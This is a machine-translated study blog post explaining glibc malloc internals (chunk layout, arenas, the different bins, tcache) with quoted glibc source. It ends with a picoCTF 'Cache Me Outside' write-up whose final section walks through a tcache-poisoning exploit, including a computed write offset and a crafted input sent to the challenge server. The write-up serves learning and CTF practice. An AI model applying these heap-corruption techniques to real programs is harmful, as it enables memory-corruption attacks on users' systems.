\n\nThis page has been machine-translated from the original page.
\n
Apparently there are many different things that can be called Heap, but for now I’ll focus on learning about glibc’s malloc function.
The heap memory pool is managed by a mechanism called an arena
\nThe heap is managed in blocks called chunks, and on x86_64 they are aligned to 0x10-byte boundaries
\nMINSIZE and is 0x20 bytesFreed chunks are kept as doubly linked lists
\nmalloc_par per process\n\nNote: The material starting on p.572 of 詳解セキュリティコンテスト is extremely comprehensive, so please see that for more details.
\n
__libc_malloc() (requested size + 0x8 bytes, aligned to 0x10)_int_malloc() or tcache_get() is usedIf _int_malloc() is selected, processing branches according to the requested size as described in the following article.
Reference: Core Functions - heap-exploitation
\nFor the behavior of _int_malloc(), refer to the UML on p.574 of 詳解セキュリティコンテスト.
\n\nNote: If you try to allocate a huge region (0x200000 bytes or more), Heap allocation is performed with
\nmmap().
__libc_free() function is called, and it checks whether the chunk being freed was allocated with mmap()munmap_chunk() or _int_free() is used for the free operation_int_free() is used, it decides whether to link the chunk into tcache, fastbin, or somewhere else based on the size and entry count\n\nNote: For more detailed behavior, see 詳解セキュリティコンテスト.
\n
Reference: how2heap: A repository for learning various heap exploitation techniques.
\nCorrupting tcache / corrupting mp_.tcache_bins
This makes it possible to allocate memory from an arbitrary address.
\nsize field in a chunk header\nBy enlarging the chunk size, you can make it encroach on other chunks.For now I obtained the glibc source code from the following repository.
It seems to be a repository mirroring the official repository.
\nReference: GitHub - bminor/glibc: Unofficial mirror of sourceware glibc repository. Updated daily.
\nThis time, when reading glibc, I’ll basically work with glibc-2.35.
The heap manages memory in units called chunks.
\nOn x8664, chunks are aligned on 0x10-byte boundaries. (Twice the size of `sizet`.)
\nAlso, the minimum size of a single chunk is defined as 0x20 bytes as MINSIZE.
This chunk header is defined by the following struct.
\n/*\n This struct declaration is misleading (but accurate and necessary).\n It declares a \"view\" into memory allowing access to necessary\n fields at known offsets from a given base. See explanation below.\n*/\n\nstruct malloc_chunk {\n\n INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk (if free). */\n INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */\n\n struct malloc_chunk* fd; /* double links -- used only if free. */\n struct malloc_chunk* bk;\n\n /* Only used for large blocks: pointer to next larger size. */\n struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */\n struct malloc_chunk* bk_nextsize;\n};To understand chunk structure, the diagram in the following link was very easy to follow.
\nThe low 3 bits of Size of chunk are assigned A/M/P in order, and they mean the following.
NON_MAIN＿ARENA set when the chunk is managed by another arena rather than main_arenaIS_MMAPPED set when it is located in memory allocated by mmap rather than in the heap regionPREV_INUSE set when prev_chunk is in useReference: malloc_chunk - heap-exploitation
\n chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n | Size of previous chunk, if unallocated (P clear) |\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n | Size of chunk, in bytes |A|M|P|\n mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n | User data starts here... .\n . .\n . (malloc_usable_size() bytes) .\n . |\nnextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n | (size of chunk, but used for application data) |\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n | Size of next chunk, in bytes |A|0|1|\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+Looking at the structure of an allocated chunk, data is stored after the chunk size.
\nDepending on the case, the Size of previous chunk area of the next chunk is also used for data.
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n | Size of previous chunk, if unallocated (P clear) |\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n `head:' | Size of chunk, in bytes |A|0|P|\n mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n | Forward pointer to next chunk in list |\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n | Back pointer to previous chunk in list |\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n | Unused space (may be 0 bytes long) .\n . .\n . |\nnextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n `foot:' | Size of chunk, in bytes |\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n | Size of next chunk, in bytes |A|0|0|\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+Freed chunks additionally contain the values Forward pointer to next chunk in list and Back pointer to previous chunk in list.
These correspond to the fd and bk pointers, respectively.
The mechanism that manages the heap memory pool is called an arena.
\nArenas are defined by the following malloc_state struct.
The main thread’s arena is defined as a global variable and is not included in the heap segment.
\nThis main-thread arena exists under the name main_arena.
Below are brief explanations of several arena-related fields.
\n/*\n have_fastchunks indicates that there are probably some fastbin chunks.\n It is set true on entering a chunk into any fastbin, and cleared early in\n malloc_consolidate. The value is approximate since it may be set when there\n are no fastbin chunks, or it may be clear even if there are fastbin chunks\n available. Given it's sole purpose is to reduce number of redundant calls to\n malloc_consolidate, it does not affect correctness. As a result we can safely\n use relaxed atomic accesses.\n */\n\nstruct malloc_state\n{\n /* Serialize access. */\n __libc_lock_define (, mutex);\n\n /* Flags (formerly in max_fast). */\n int flags;\n\n /* Set if the fastbin chunks contain recently inserted free blocks. */\n /* Note this is a bool but not all targets support atomics on booleans. */\n int have_fastchunks;\n\n /* Fastbins */\n mfastbinptr fastbinsY[NFASTBINS];\n\n /* Base of the topmost chunk -- not otherwise kept in a bin */\n mchunkptr top;\n\n /* The remainder from the most recent split of a small request */\n mchunkptr last_remainder;\n\n /* Normal bins packed as described above */\n mchunkptr bins[NBINS * 2 - 2];\n\n /* Bitmap of bins */\n unsigned int binmap[BINMAPSIZE];\n\n /* Linked list */\n struct malloc_state *next;\n\n /* Linked list for free arenas. Access to this field is serialized\n by free_list_lock in arena.c. */\n struct malloc_state *next_free;\n\n /* Number of threads attached to this arena. 0 if the arena is on\n the free list. Access to this field is serialized by\n free_list_lock in arena.c. */\n INTERNAL_SIZE_T attached_threads;\n\n /* Memory allocated from the system in this arena. */\n INTERNAL_SIZE_T system_mem;\n INTERNAL_SIZE_T max_system_mem;\n};Regarding the bins inside an arena, earlier I described them as “an array of doubly linked circular lists that manage unsortedbin, smallbin, and largebin.”
bins is a list of freed (non-allocated) chunks.
One of the following is selected for bins depending on the chunk size and other factors.
Here, bins[2n] and bins[2n+1] are managed as one set.
These respectively play the roles of fd and bk in the list structure.
To compute the address of a chunk header from a smallbin or largebin index, the following bin_at macro is used (bin_at indices start at 1).
typedef struct malloc_chunk* mchunkptr;\nmchunkptr bins[]; // Array of pointers to chunks\n\n/* addressing -- note that bin_at(0) does not exist */\n#define bin_at(m, i) \\\n (mbinptr) (((char *) &((m)->bins[((i) - 1) * 2])) \\\n - offsetof (struct malloc_chunk, fd))bins manages freed (non-allocated) chunks as doubly linked circular lists using fd and bk.
Because small chunks tend to be allocated and freed frequently, a mechanism exists that manages them with a singly linked list instead of a doubly linked list, which would take more work to relink.
\nThis mechanism, introduced in glibc-2.3, is called fastbin.
\nfastbin is managed by fastbinsY in the malloc_state mentioned above.
By the way, the mfastbinptr specified here appears to be defined as a pointer to the malloc_chunk struct.
#ifndef DEFAULT_MXFAST\n#define DEFAULT_MXFAST (64 * SIZE_SZ / 4)\n#endif\n\n/* The maximum fastbin request size we support */\n#define MAX_FAST_SIZE (80 * SIZE_SZ / 4)\n#define NFASTBINS (fastbin_index (request2size (MAX_FAST_SIZE)) + 1)\n\n/* Maximum size of memory handled in fastbins. */\nstatic INTERNAL_SIZE_T global_max_fast;\n\n/*\n Set value of max_fast.\n Use impossibly small value if 0.\n Precondition: there are no existing fastbin chunks in the main arena.\n Since do_check_malloc_state () checks this, we call malloc_consolidate ()\n before changing max_fast. Note other arenas will leak their fast bin\n entries if max_fast is reduced.\n */\n\n#define set_max_fast(s) \\\n global_max_fast = (((size_t) (s) <= MALLOC_ALIGN_MASK - SIZE_SZ)\\\n ? MIN_CHUNK_SIZE / 2 : ((s + SIZE_SZ) & ~MALLOC_ALIGN_MASK))\n\ntypedef struct malloc_chunk *mfastbinptr;\n\nstruct malloc_state\n{\n /* Fastbins */\n mfastbinptr fastbinsY[NFASTBINS];\n};fastbinsY can manage chunks up to 0xb0 bytes, but in practice it seems that 0x80, defined by the global_max_fast macro, is set.
fastbinsY is an array with 10 elements, where fastbinsY[0] manages the minimum size of 0x20 bytes and the following elements manage 0x30, 0x40, and so on in 0x10-byte increments.
Therefore, since 0x80 is the default maximum value, only elements 0 through 6 of fastbinsY are generally used.
For chunks managed in fastbin, the P: PREV_INUSE bit in the low byte of Size of next chunk, in bytes remains set.
In other words, the chunk is still regarded as being in use.
\nWith Pwngdb, you can inspect the state of fastbin as follows.
\nFreed chunks are eventually sorted into smallbin or largebin, but before that unsortedbin is used for temporary management. (unsorted_chunks basically acts as a queue.)
Note that the NON_MAIN_ARENA flag is not set for unsorted chunks.
unsorted_chunks is defined by the following macro, which corresponds to bin_at(1), that is, bins[0] and bins[1].
/*\n Unsorted chunks\n\n All remainders from chunk splits, as well as all returned chunks,\n are first placed in the \"unsorted\" bin. They are then placed\n in regular bins after malloc gives them ONE chance to be used before\n binning. So, basically, the unsorted_chunks list acts as a queue,\n with chunks being placed on it in free (and malloc_consolidate),\n and taken off (to be either used or placed in bins) in malloc.\n\n The NON_MAIN_ARENA flag is never set for unsorted chunks, so it\n does not have to be taken into account in size comparisons.\n */\n\n/* The otherwise unindexable 1-bin is used to hold unsorted chunks. */\n#define unsorted_chunks(M) (bin_at (M, 1))smallbin manages chunks whose size is smaller than MIN_LARGE_SIZE.
By default, chunks smaller than 0x400 bytes are managed by smallbin.
\n/*\n Indexing\n\n Bins for sizes < 512 bytes contain chunks of all the same size, spaced\n 8 bytes apart. Larger bins are approximately logarithmically spaced:\n\n 64 bins of size 8\n 32 bins of size 64\n 16 bins of size 512\n 8 bins of size 4096\n 4 bins of size 32768\n 2 bins of size 262144\n 1 bin of size what's left\n\n There is actually a little bit of slop in the numbers in bin_index\n for the sake of speed. This makes no difference elsewhere.\n\n The bins top out around 1MB because we expect to service large\n requests via mmap.\n\n Bin 0 does not exist. Bin 1 is the unordered list; if that would be\n a valid chunk size the small bins are bumped up one.\n */\n\n#define NBINS 128\n#define NSMALLBINS 64\n#define SMALLBIN_WIDTH MALLOC_ALIGNMENT\n#define SMALLBIN_CORRECTION (MALLOC_ALIGNMENT > CHUNK_HDR_SZ)\n#define MIN_LARGE_SIZE ((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH)Unlike unsortedbin, a single bin contains only chunks of the same size.
\nSince the minimum chunk size is 0x20, chunks ranging from 0x20 bytes to 0x3f0 bytes are managed as smallbins. (In other words, the bins used are bin_at(2) through bin_at(63).)
The smallbin_index below is the macro used to determine the appropriate smallbin index from a chunk size.
#define smallbin_index(sz) \\\n ((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) >> 4) : (((unsigned) (sz)) >> 3))\\\n + SMALLBIN_CORRECTION)All chunks of 0x400 bytes or more are handled by largebin. (There is no upper limit on chunk size for largebin.)
\nIn largebin, chunks in a certain size range are linked in descending order within a single bin.
\nThe macros for determining a bin index from a largebin chunk size are defined as follows.
\n#define largebin_index_32(sz) \\\n (((((unsigned long) (sz)) >> 6) <= 38) ? 56 + (((unsigned long) (sz)) >> 6) :\\\n ((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\\\n ((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\\\n ((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\\\n ((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\\\n 126)\n\n#define largebin_index_32_big(sz) \\\n (((((unsigned long) (sz)) >> 6) <= 45) ? 49 + (((unsigned long) (sz)) >> 6) :\\\n ((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\\\n ((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\\\n ((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\\\n ((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\\\n 126)The bins used are in the range from bin_at(64) to bin_at(126).
The fd_nextsize and bk_nextsize fields contained in the chunk are used to efficiently search for the target chunk within the largebin circular list.
/* Only used for large blocks: pointer to next larger size. */\nstruct malloc_chunk* fd_nextsize; /* double links -- used only if free. */\nstruct malloc_chunk* bk_nextsize;tcache is a mechanism added in glibc-2.26 for caching freed chunks on a per-thread basis.
\nFor that reason, tcache is not managed inside an arena.
\nOne tcache is created per thread and is kept independently on TLS.
\nChunks are also managed not as malloc_chunk but as a singly linked list of tcache_entry structures.
/* We overlay this structure on the user-data portion of a chunk when\n the chunk is stored in the per-thread cache. */\ntypedef struct tcache_entry\n{\n struct tcache_entry *next;\n /* This field exists to detect double frees. */\n uintptr_t key;\n} tcache_entry;\n\n/* There is one of these for each thread, which contains the\n per-thread cache (hence \"tcache_perthread_struct\"). Keeping\n overall size low is mildly important. Note that COUNTS and ENTRIES\n are redundant (we could have just counted the linked list each\n time), this is for performance reasons. */\ntypedef struct tcache_perthread_struct\n{\n uint16_t counts[TCACHE_MAX_BINS];\n tcache_entry *entries[TCACHE_MAX_BINS];\n} tcache_perthread_struct;The maximum chunk size that tcache can manage is up to 0x410 bytes.
\nAlso, the key in tcache_entry stores the start address of the tcache_perthread_struct to which the cache belongs.
This key is used to detect Double Free.
\nIf you try to run the provided binary normally, you get an error that is hard to make sense of.
\n$ LD_PRELOAD=./libc.so.6 ./heapedit\nInconsistency detected by ld.so: dl-call-libc-early-init.c: 37: _dl_call_libc_early_init: Assertion `sym != NULL' failed!Apparently the linker version did not match, so I used pwninit.
$ pwninit\nbin: ./heapedit\nlibc: ./libc.so.6\nld: ./ld-2.27.so\n\nunstripping libc\nhttps://launchpad.net/ubuntu/+archive/primary/+files//libc6-dbg_2.27-3ubuntu1.2_amd64.deb\nwarning: failed unstripping libc: failed running eu-unstrip, please install elfutils: No such file or directory (os error 2)\nsetting ./ld-2.27.so executable\ncopying ./heapedit to ./heapedit_patched\nrunning patchelf on ./heapedit_patched\nwriting solve.py stubHowever, even when I ran the binary patched by pwninit, it segfaulted and I got stuck.
$ ./heapedit_patched \nSegmentation faultApparently it could not run because flag.txt did not exist.
$ ltrace ./heapedit_patched \nsetbuf(0x7f033fedd760, 0) = <void>\nfopen(\"flag.txt\", \"r\") = 0\nfgets( <no return ...>\n--- SIGSEGV (Segmentation fault) ---\n+++ killed by SIGSEGV +++So after creating flag.txt, it started working for the time being.
From here, I actually solved the challenge.
\nLooking at the decompiled binary, after calling malloc eight times it performs some processing, rewrites the value at the address I specify, then performs a ninth malloc, and it seems to print the data portion of that address with puts((char *)((long)local_80 + 0x10));.
for (local_a4 = 0; local_a4 < 7; local_a4 = local_a4 + 1) {\n local_98 = (undefined8 *)malloc(0x80);\n if (local_a0 == (undefined8 *)0x0) {\n local_a0 = local_98;\n }\n *local_98 = 0x73746172676e6f43;\n local_98[1] = 0x662072756f592021;\n local_98[2] = 0x203a73692067616c;\n *(undefined *)(local_98 + 3) = 0;\n strcat((char *)local_98,local_58);\n }\n\n local_88 = (undefined8 *)malloc(0x80);\n *local_88 = 0x5420217972726f53;\n local_88[1] = 0x276e6f7720736968;\n local_88[2] = 0x7920706c65682074;\n *(undefined4 *)(local_88 + 3) = 0x203a756f;\n *(undefined *)((long)local_88 + 0x1c) = 0;\n strcat((char *)local_88,(char *)&local_78);\n free(local_98);\n free(local_88);\n local_a8 = 0;\n local_a9 = 0;\n\n puts(\"You may edit one byte in the program.\");\n printf(\"Address: \");\n __isoc99_scanf(&DAT_00400b48,&local_a8);\n printf(\"Value: \");\n __isoc99_scanf(&DAT_00400b53,&local_a9);\n *(undefined *)((long)local_a8 + (long)local_a0) = local_a9;\n local_80 = malloc(0x80);\n puts((char *)((long)local_80 + 0x10));At this point, we already know that the variable stored on the Heap at strcat((char *)local_98,local_58); contains the contents read from flag.txt.
So in the end, if we can somehow read data from this Heap region, it looks like we can recover the flag.
\nTherefore, I decided to examine how the Heap actually behaves.
\nFrom the contents of the Makefile included with the challenge, we can see that PIE is disabled.
\ngcc -Xlinker -rpath=./ -Wall -m64 -pedantic -no-pie --std=gnu99 -o heapedit heapedit.cFrom this, ASLR should not affect the binary itself, and the runtime addresses are expected to remain the same each time.
\nNext, I used the following script to run GDB and inspect the addresses and contents of each Heap chunk.
\n# gdb -x run.py\nimport gdb\n\nBIN = \"heapedit_patched\"\ngdb.execute('file {}'.format(BIN))\ngdb.execute('b *{}'.format(\"0x4008c3\"))\ngdb.execute('b *{}'.format(\"0x40094a\"))\ngdb.execute('b *{}'.format(\"0x400966\"))\ngdb.execute('b *{}'.format(\"0x400a4f\"))\ngdb.execute('b *{}'.format(\"0x400a75\"))\ngdb.execute('run < input')\n\nh = []\ni = gdb.inferiors()[0]\nfor k in range(9):\n reg = int(gdb.parse_and_eval(\"$rax\"))\n h.append(reg)\n gdb.execute(\"continue\")\n\nprint(h)\nfor a in h:\n print(hex(a), end=\" \")\n mem = i.read_memory(a, 0x30)\n print(mem.tobytes())\n\ngdb.execute('quit')From top to bottom, they were arranged as follows, and we can see that the flag text is embedded in each Heap chunk.
\nWe can also see that the addresses returned by the 8th and 9th malloc are identical.
I then checked what was happening here.
\nlocal_98 = (undefined8 *)malloc(0x80) // The flag is stored here\nlocal_88 = (undefined8 *)malloc(0x80) // A dummy string is stored here\n\n// free() links them into tcache in the order local_88 -> local_98\nfree(local_98);\nfree(local_88);\n\n// Allocate from tcache and print the contents (normally the dummy string is displayed)\nlocal_80 = malloc(0x80);\nputs((char *)((long)local_80 + 0x10))From the above, it seems that if we can reference the chunk for local_98, which is linked into tcache, we can recover the flag.
As mentioned above, when allocating Heap from tcache, tcache_get is used.
In other words, the chunk returned by malloc() becomes the head of tcache->entries[tc_idx].
/* Caller must ensure that we know tc_idx is valid and there's\n available chunks to remove. */\nstatic __always_inline void *\ntcache_get (size_t tc_idx)\n{\n tcache_entry *e = tcache->entries[tc_idx];\n if (__glibc_unlikely (!aligned_OK (e)))\n malloc_printerr (\"malloc(): unaligned tcache chunk detected\");\n tcache->entries[tc_idx] = REVEAL_PTR (e->next);\n --(tcache->counts[tc_idx]);\n e->key = 0;\n return (void *) e;\n}From this, we can see that the address we need to overwrite to recover the flag is the address of tcache->entries[tc_idx], and the value we need to write there is tcache->entries[tc_idx]->next.
So I recovered the flag with the following steps.
\ntcache->entries[tc_idx]tcache->entries[tc_idx]->nexttcache->entries[tc_idx] with tcache->entries[tc_idx]->nextFirst, to find the address of tcache->entries[tc_idx], since PIE is disabled it is expected not to change from the address returned by the final malloc().
Therefore, I used gdb-peda to search for 0x603890, the address of the chunk that the final malloc() obtains from tcache.
As a result, I found that 0x602088 is (probably) the address of tcache->entries, and 0x603800 is the chunk containing the flag.
$ searchmem 0x603890\nSearching for '0x603890' in: None ranges\nFound 3 results, display max 3 items:\n [heap] : 0x602088 --> 0x603890 --> 0x603800 --> 0x0 \n[stack] : 0x7fffffffda30 --> 0x603890 --> 0x603800 --> 0x0 \n[stack] : 0x7fffffffde10 --> 0x603890 --> 0x603800 --> 0x0We can indeed confirm that the flag is stored at 0x603800.
$ x/s 0x603800+0x8\n0x603808: \"! Your flag is: picoCTF{testflag}\\n\"From here, the address we want to overwrite is 0x602088, and it looks like we can recover the flag by changing the value at this address to 0x603800.
The address overwrite is performed here.
\n puts(\"You may edit one byte in the program.\");\n printf(\"Address: \");\n __isoc99_scanf(&DAT_00400b48,&local_a8);\n printf(\"Value: \");\n __isoc99_scanf(&DAT_00400b53,&local_a9);\n *(undefined *)((long)local_a8 + (long)local_a0) = local_a9;local_a0 contains 0x6034a0, so by entering 0x602088-0x6034a0 = -5144, we can tamper with 0x602088.
So by giving -5144 as the first input and \\x00\\x38\\x60\\x00 as the second input, we can poison tcache and recover the flag.
$ python -c 'import sys; sys.stdout.buffer.write(b\"-5144\\n\" + b\"\\x00\\x38\\x60\\x00\")' > input\n\n$ ./heapedit_patched < input \nYou may edit one byte in the program.\nAddress: Value: lag is: picoCTF{testflag}Finally, by sending this input to the remote server, I was able to recover the flag.
\n$ nc mercury.picoctf.net 17612 < input \nYou may edit one byte in the program.\nAddress: Value: lag is: picoCTF{ XXXXXXXXXXXXXXXXXXXX }Reference: picoCTF “Cache Me Outside” writeup
\nHeap is really hard…
\n